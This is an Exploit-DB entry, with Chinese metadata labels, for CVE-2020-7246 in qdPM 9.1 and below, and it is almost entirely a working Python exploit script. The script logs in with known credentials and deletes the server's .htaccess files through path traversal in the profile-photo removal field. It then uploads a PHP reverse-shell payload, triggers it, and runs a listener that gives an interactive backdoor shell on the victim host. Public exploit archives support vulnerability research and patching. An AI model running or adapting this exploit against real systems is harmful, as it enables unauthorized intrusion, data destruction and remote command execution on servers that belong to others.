标题: qdPM < 9.1 - Remote Code Execution EDB-ID: 48146 CVE: 2020-7246 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-02-28 漏洞利用脚本: #!/usr/bin/python

#-------------------------------------------------------------------------------------
# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author: Tobin Shields (@TobinShields)
#
# Description: This is an exploit to automatically upload a PHP web shell to
#    the qdPM platform via the "upload a profile photo" feature.
#    This method also bypasses the fix put into place from a previous CVE
#
# Usage:  In order to leverage this exploit, you must know the credentials of
#    at least one user. Then, you should modify the values highlighted below.
#    You will also need a .php web shell payload to upload. This exploit
#    was built and tested using the PHP script built by pentestmonkey:
#    https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------

# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time

# CHANGE THESE VALUES-----------------------------------------------------------------
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"
username = "jsmith@example.com"
password = "Pa$$w0rd"
payload = "/path/to/payload.php"
listner_port = 1234    # This should match your PHP payload
connection_delay = 2    # Increase this value if you have a slow connection and are experiencing issues
# ------------------------------------------------------------------------------------

# Build the myAccout URL from the provided URL
myAccount_url = login_url.replace("login", "myAccount")

# PROGRAM FUNCTIONS -----------------------------------------------------------------
# Utility function for anytime a page needs to be requested and parsed via bs4
def requestAndSoupify(url):
 page = s.get(url)
 soup = bs(page.content, "html.parser")
 return soup

# Function to log into the application, and supply the correct username/password
def login(url):
 # Soupify the login page
 login_page = requestAndSoupify(url)
 # Grab the csrf token
 token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]
 # Build the POST values
 login_data = {
  "login[email]": username,
  "login[password]": password,
  "login[_csrf_token]": token
 }
 # Send the login request
 s.post(login_url, login_data)

# Function to get the base values for making a POST request from the myAccount page
def getPOSTValues():
 myAccount_soup = requestAndSoupify(myAccount_url)
 # Search for the 'base' POST data needed for any requests
 u_id  = myAccount_soup.find("input", {"name": "users[id]"})["value"]
 token  = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]
 u_name  = myAccount_soup.find("input", {"name": "users[name]"})["value"]
 u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]
 # Populate the POST data object
 post_data = {
  "users[id]": u_id,
  "users[_csrf_token]": token,
  "users[name]": u_name,
  "users[email]": u_email,
  "users[culture]": "en" # Keep the language English--change this for your victim locale
 }
 return post_data

# Function to remove the a file from the server by exploiting the CVE
def removeFile(file_to_remove):
 # Get base POST data
 post_data = getPOSTValues()
 # Add the POST data to remove a file
 post_data["users[photo_preview]"] = file_to_remove
 post_data["users[remove_photo]"] = 1
 # Send the POST request to the /update page
 s.post(myAccount_url + "/update", post_data)
 # Print update to user
 print("Removing " + file_to_remove)
 # Sleep to account for slow connections
 time.sleep(connection_delay)

# Function to upload the payload to the server
def uploadPayload(payload):
 # Get payload name from supplied URI
 payload_name = payload.rsplit('/', 1)[1]
 # Request page and get base POST files
 post_data = getPOSTValues()
 # Build correct payload POST header by dumping the contents
 payload_file = {"users[photo]": open(payload, 'rb')}
 # Send POST request with base data + file
 s.post(myAccount_url + "/update", post_data, files=payload_file)
 # Print update to user
 print("Uploading " + payload_name)
 # Sleep for slow connections
 time.sleep(connection_delay)

# A Function to find the name of the newly uploaded payload
 # NOTE: We have to do this because qdPM adds a random number to the uploaded file
 # EX: webshell.php becomes 1584009-webshell.php
def getPayloadURL():
 myAccount_soup = requestAndSoupify(myAccount_url)
 payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]
 return payloadURL

# Function to handle creating the webshell listener and issue commands to the victim
def createBackdoorListener():
 # Set up the listening socket on localhost
 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 host = "0.0.0.0"
 port = listner_port # Specified at the start of this script by user
 server_socket.bind((host, port))
 server_socket.listen(2)
 victim, address = server_socket.accept()
 # Print update to user once the connection is made
 print("Received connection from: " + str(address))

 # Simulate a terminal and build a pusdo-prompt using the victem IP
 prompt = "backdoor@" + str(address[0]) + ":~$ "

 # Grab the first response from the victim--this is usually OS info
 response = victim.recv(1024).decode('utf-8')
 print(response)
 print("\nType 'exit' at any time to close the connection")

 # Maintain the connection and send data back and forth
 while True:
  # Grab the command from the user
  command = input(prompt)
  # If they type "exit" then close the socket
  if 'exit' in command:
   victim.close()
   server_socket.close()
   print("Disconnecting, please wait...")
   break
  # For all other commands provided
  else:
   # Encode the command to be properly sent via the socket & send the command
   command = str.encode(command + "\n")
   victim.send(command)
   # Grab the response to the command and decode it
   response = victim.recv(1024).decode('utf-8')
   # For some odd reason you have to hit "enter" after sending the command to receive the output
   # TODO: Fix this so it works on a single send? Although it might just be the PHP webshell
   victim.send(str.encode("\n"))
   response = victim.recv(1024).decode('utf-8')
   # If a command returns nothing (i.e. a 'cd' command, it prints a "$"
   # This is a confusing output so it will omit this output
   if response.strip() != "$":
    print(response)

# Trigger the PHP to run by making a page request
def triggerShell(s, payloadURL):
 pageReq = s.get(payloadURL)

# MAIN FUNCTION ----------------------------------------------------------------------
# The main function of this program establishes a unique session to issue the various POST requests
with Session() as s:
 # Login as know user
 login(login_url)
 # Remove Files
  # You may need to modify this list if you suspect that there are more .htaccess files
  # However, the default qdPM installation just had these two
 files_to_remove = [".htaccess", "../.htaccess"]
 for f in files_to_remove:
  removeFile(f)
 # Upload payload
 uploadPayload(payload)
 # Get the payload URL
 payloadURL = getPayloadURL()
 # Start a thread to trigger the script with a web request
 process = Process(target=triggerShell, args=(s, payloadURL))
 process.start()
 # Create the backdoor listener and wait for the above request to trigger
 createBackdoorListener() URL: https://www.exploit-db.com/exploits/48146